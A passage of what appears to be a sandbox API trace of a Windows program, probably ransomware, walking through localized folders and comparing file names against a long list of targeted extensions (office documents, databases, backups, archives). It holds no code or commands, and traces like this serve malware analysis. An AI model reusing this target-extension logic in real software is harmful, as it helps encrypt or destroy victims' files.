	[0179.168] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dae") returned 4
	[0179.169] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dat") returned 4
	[0179.169] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".db") returned 3
	[0179.169] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0179.169] lstrlenW (lpString=".dbf") returned 4
	[0179.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dbx") returned 4
	[0179.169] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dc3") returned 4
	[0179.169] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dcm") returned 4
	[0179.169] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dcr") returned 4
	[0179.169] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".der") returned 4
	[0179.169] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dib") returned 4
	[0179.169] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dic") returned 4
	[0179.169] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".dif") returned 4
	[0179.169] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0179.169] lstrlenW (lpString=".divx") returned 5
	[0179.169] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0179.169] lstrlenW (lpString=".djvu") returned 5
	[0179.170] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0179.170] lstrlenW (lpString=".dng") returned 4
	[0179.170] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".doc") returned 4
	[0179.170] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".docm") returned 5
	[0179.170] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0179.170] lstrlenW (lpString=".docx") returned 5
	[0179.170] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0179.170] lstrlenW (lpString=".dot") returned 4
	[0179.170] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".dotm") returned 5
	[0179.170] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0179.170] lstrlenW (lpString=".dotx") returned 5
	[0179.170] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0179.170] lstrlenW (lpString=".dpx") returned 4
	[0179.170] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".dqy") returned 4
	[0179.170] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".dsn") returned 4
	[0179.170] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".dt") returned 3
	[0179.170] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0179.170] lstrlenW (lpString=".dtd") returned 4
	[0179.170] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".dwg") returned 4
	[0179.170] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0179.170] lstrlenW (lpString=".dwt") returned 4
	[0179.170] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".dx") returned 3
	[0179.171] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0179.171] lstrlenW (lpString=".dxf") returned 4
	[0179.171] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".edml") returned 5
	[0179.171] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0179.171] lstrlenW (lpString=".efd") returned 4
	[0179.171] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".elf") returned 4
	[0179.171] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".emf") returned 4
	[0179.171] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".emz") returned 4
	[0179.171] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".epf") returned 4
	[0179.171] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".eps") returned 4
	[0179.171] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0179.171] lstrlenW (lpString=".epsf") returned 5
	[0179.171] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0179.171] lstrlenW (lpString=".epsp") returned 5
	[0179.171] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0179.171] lstrlenW (lpString=".erf") returned 4
	[0179.172] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".exr") returned 4
	[0179.172] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".f4v") returned 4
	[0179.172] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".fido") returned 5
	[0179.172] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0179.172] lstrlenW (lpString=".flm") returned 4
	[0179.172] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".flv") returned 4
	[0179.172] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".frm") returned 4
	[0179.172] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".fxg") returned 4
	[0179.172] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".geo") returned 4
	[0179.172] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".gif") returned 4
	[0179.172] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".grs") returned 4
	[0179.172] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".gz") returned 3
	[0179.172] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0179.172] lstrlenW (lpString=".h") returned 2
	[0179.172] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.172] lstrlenW (lpString=".hdr") returned 4
	[0179.172] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0179.172] lstrlenW (lpString=".hpp") returned 4
	[0179.173] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0179.173] lstrlenW (lpString=".hta") returned 4
	[0179.173] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0179.173] lstrlenW (lpString=".htc") returned 4
	[0179.173] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0179.173] lstrlenW (lpString=".htm") returned 4
	[0179.173] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0179.173] lstrlenW (lpString=".html") returned 5
	[0179.173] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1
	[0179.173] lstrlenW (lpString=".icb") returned 4
	[0179.173] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0179.173] lstrlenW (lpString=".ics") returned 4
	[0179.173] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0179.173] lstrlenW (lpString=".iff") returned 4
	[0179.173] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0179.173] lstrlenW (lpString=".inc") returned 4
	[0179.173] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0179.174] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0179.174] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0179.174] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0179.174] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0179.175] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0179.175] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0179.176] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0179.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0179.177] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.177] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0179.177] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x19338e00, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0179.177] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0179.177] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0179.178] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0179.178] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.179] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0179.179] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1
	[0179.179] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0179.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0179.180] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.180] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0179.180] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0179.180] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0179.181] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0179.181] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0179.181] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0179.182] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0179.182] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0179.182] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0179.182] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN") returned 100
	[0179.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0179.183] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.183] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8e1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0179.184] lstrlenW (lpString="index.html") returned 10
	[0179.184] lstrlenW (lpString=".1cd") returned 4
	[0179.184] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0179.184] lstrlenW (lpString=".3ds") returned 4
	[0179.184] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0179.184] lstrlenW (lpString=".3fr") returned 4
	[0179.184] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0179.184] lstrlenW (lpString=".3g2") returned 4
	[0179.185] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0179.185] lstrlenW (lpString=".3gp") returned 4
	[0179.185] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0179.185] lstrlenW (lpString=".7z") returned 3
	[0179.185] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0179.185] lstrlenW (lpString=".accda") returned 6
	[0179.185] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0179.185] lstrlenW (lpString=".accdb") returned 6
	[0179.185] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0179.185] lstrlenW (lpString=".accdc") returned 6
	[0179.185] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0179.185] lstrlenW (lpString=".accde") returned 6
	[0179.185] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0179.185] lstrlenW (lpString=".accdt") returned 6
	[0179.185] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0179.185] lstrlenW (lpString=".accdw") returned 6
	[0179.185] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0179.185] lstrlenW (lpString=".adb") returned 4
	[0179.185] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0179.185] lstrlenW (lpString=".adp") returned 4
	[0179.185] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0179.185] lstrlenW (lpString=".ai") returned 3
	[0179.185] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0179.185] lstrlenW (lpString=".ai3") returned 4
	[0179.185] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0179.185] lstrlenW (lpString=".ai4") returned 4
	[0179.185] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0179.185] lstrlenW (lpString=".ai5") returned 4
	[0179.185] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0179.185] lstrlenW (lpString=".ai6") returned 4
	[0179.186] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".ai7") returned 4
	[0179.186] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".ai8") returned 4
	[0179.186] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".anim") returned 5
	[0179.186] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0179.186] lstrlenW (lpString=".arw") returned 4
	[0179.186] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".as") returned 3
	[0179.186] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0179.186] lstrlenW (lpString=".asa") returned 4
	[0179.186] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".asc") returned 4
	[0179.186] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".ascx") returned 5
	[0179.186] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0179.186] lstrlenW (lpString=".asm") returned 4
	[0179.186] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".asmx") returned 5
	[0179.186] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0179.186] lstrlenW (lpString=".asp") returned 4
	[0179.186] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".aspx") returned 5
	[0179.186] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0179.186] lstrlenW (lpString=".asr") returned 4
	[0179.186] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0179.186] lstrlenW (lpString=".asx") returned 4
	[0179.186] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".avi") returned 4
	[0179.187] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".avs") returned 4
	[0179.187] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".backup") returned 7
	[0179.187] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0179.187] lstrlenW (lpString=".bak") returned 4
	[0179.187] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".bay") returned 4
	[0179.187] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".bd") returned 3
	[0179.187] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0179.187] lstrlenW (lpString=".bin") returned 4
